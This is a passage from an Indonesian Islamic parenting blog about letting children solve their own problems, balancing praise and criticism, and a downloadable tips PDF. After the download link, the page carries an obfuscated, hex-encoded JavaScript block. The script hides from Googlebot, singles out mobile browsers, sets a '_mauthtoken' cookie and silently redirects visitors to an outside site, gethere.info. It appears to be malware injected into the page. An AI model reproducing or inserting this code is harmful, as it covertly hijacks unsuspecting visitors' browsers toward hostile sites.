  3. Jika permasalahan tersebut cukup komplek dan anak tidak dapat menyelesaikan dengan sendiri, orang tua dapat menghadap kepada guru tanpa sepengetahuan anak, supaya anak tidak selalu menggantungkan intervensi dari orang tuanya
  4. Hindari memberikan kesan negatif tentang guru di depan anak, seperti memberi kritikan kepada guru di depan anak, karena hal tersebut akan membuat anak kehilangan rasa kepercayaan terhadap gurunya, di mana akhirnya akan berdampak negatif terhadap motivasi anak untuk belajar dari gurunya

Permasalahan bagi anak kadang justru dapat kita jadikan sebagai sarana untuk membangun rasa kedewasaan dan kemandiriannya. Kita harus memberdayakan anak di hadapan orang lain termasuk orang dewasa. Di rumah, kita dapat membimbing mereka untuk mempertahankan hak dan miliknya dengan sikap dan bahasa yang santun. Misalnya, “Maaf Pak, sesuai dengan kesepakatan waktu ini adalah waktu Deni untuk menggunakan komputer di rumah”. Atau di sekolah, misalnya, “Maaf,pak. Saya sudah cek kembali tes IPA saya. Tampaknya ada kekeliruan dalam penjumlahan total nilai saya.”

Anak tidak membutuhkan bodyguard bagi permasalahannya, tetapi ia lebih membutuhkan dukungan dan kepercayaan dari kita, bahwa ia mampu menyelesaikan setiap permasalahannya.

Membangun Pikiran Positif, Kebiasaan Baik pada Anak : Seimbang

Pernahkah kita mencoba untuk menghitung berapa jumlah afirmasi positif (pujian) yang diterima oleh putra-putri kita dalam satu hari, dan berapa jumlah afirmasi negatif (cemoohan) yang diterimanya. Dengan perkataan lain, berapa kali dalam sehari anak melakukan kebaikan kemudian orang sekitarnya memberi pujian dan dukungan. Dan berapa kali saat ia melakukan hal yang kurang baik menurut masyarakat kemudian orang sekitarnya memberikan cemoohan kepadanya.

Boby De Porter dalam bukungnya Quantum Learning menulis tentang penelitian bahwa seorang bayi masih mendapatkan afirmasi positif yang banyak, namun seiring dengan bertambah umur seorang anak justru mendapatkan afirmasi negatif jauh lebih banyak daripada afirmasi positif.

Sebenarnya apa pengaruh perbandingan jumlah afirmasi, baik negatif maupun positif, bagi perkembangan seorang anak? Mari kita cermati kata-kata berikut ini; Djarum, Bentoel, Gudang Garam…. Respon spontan kita saat membacanya adalah nama-nama produsen rokok terkenal di tanah air. Bahkan, di antara kita telah mengembangkan bayangan dalam pikirannya Djarum Super, Bentoel Biru dan Gudang Garam Merah. Pertanyaan selanjutnya adalah ke manakah makna asli dari kata-kata di atas, bahwa Djarum adalah alat untuk menjahit, Bentoel adalah salah satu umbi-umbian dan Gudang Garam adalah tempat menyimpan garam dalam jumlah besar? Dan saat kita ditanya makna asli dari kata-kata tersebut kita seakan-akan tersadar dari mimpi kita bahwa telah terbangun dalam pikiran kita dua makna yang sangat berbeda dari sebuah kata

Peristiwa mental ini terjadi sangat evolusioner dalam waktu relatif lama dan pasti seiring dengan program iklan yang semakin gencar dilakukan oleh perusahan tersebut. Pertama kali informasi tentang sebuah produk ditayangkan dalam media televisi atau terpampang dalam spanduk dengan nama yang asing, pikiran kita akan menyerapnya sejenak dan kemudian mungkin menolaknya, penasaran atau menerimanya. Namun semakin seringnya pikiran kita mengkonsumsinya akan semakin berkurang penolakan dan rasa penasaran hingga sampai pada suatu tahap meyakini bahwa informasi tersebut telah diterima secara pikiran bawah sadar. Bahkan, dengan semakin canggih proses marketing sebuah produk, kita dipaksa secara tidak sadar untuk memiliki produk tersebut, walaupun sebenarnya kita tidak membutuhkannya.

Bayangkan jika proses di atas juga terjadi pada putra-putri kita dengan afirmasi negatif yang mereka terima, baik karena kesalahan yang mereka lakukan atau kurangnya pemahaman masyarakat sekitar terhadap perilaku mereka. Pada saat pertama kali ia menerima afirmasi negatif tersebut mungkin ia akan menolaknya atau menerima hanya pada konteks kesalahan yang ia lakukan. Namun, dengan semakin seringnya ia menerima afirmasi yang sama pada momen yang berbeda, ia akan mulai menyakininya dan menyadari bahwa kesalahan adalah bagian integral dari dirinya. Dan ini sungguh merupakan peristiwa yang tragis jika betul-betul terjadi.
Sebaliknya jika afirmasi yang diterima oleh putra-putri kita lebih banyak afirmasi positif tentang dirinya dan mereka mendengarnya setiap hari, maka pikiran mereka telah dipenuhi dengan afirmasi-afirmasi positif sehingga akan timbul keyakinan yang kuat bahwa ia adalah seorang anak yang baik dan berhasil.

Sebenarnya bukanlah sebuah kesalahan jika seorang anak melakukan kesalahan kemudian kita menegurnya, karena sikap tersebut adalah bagian penyadaran bahwa anak juga dapat berbuat salah. Namun, hendaknya kita lebih bersifat proposional bahwa kepekaan perhatian kita terhadap kesalahan-kesalahan anak tidak boleh lebih besar dari kepekaan perhatian kita terhadap kebaikan dan keberhasilah anak. Minimal seimbang untuk menegur saat anak bersalah dan memuji saat ia berbuat baik.

Saat kita membiasakan mereka untuk mendengarkan kebaikan, saat itulah mereka akan memperbaiki kebiasaan mereka sendiri

Parenting Islami : Evaluasi Cara Kita Berkomunikasi dengan Orang Tua

Mengapa dievaluasi? Ada apa dengan komunikasi kita selama ini? Silahkan tips dari Griya Parenting selengkapnya <strong><a title="Berkomunikasi_dengan_Orang_Tua" href="http://griyaparenting.com/download/Berkomunikasi_dengan_Orang_Tua_by_Griya_Parenting.pdf" target="_blank">download disini</a></strong>.<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>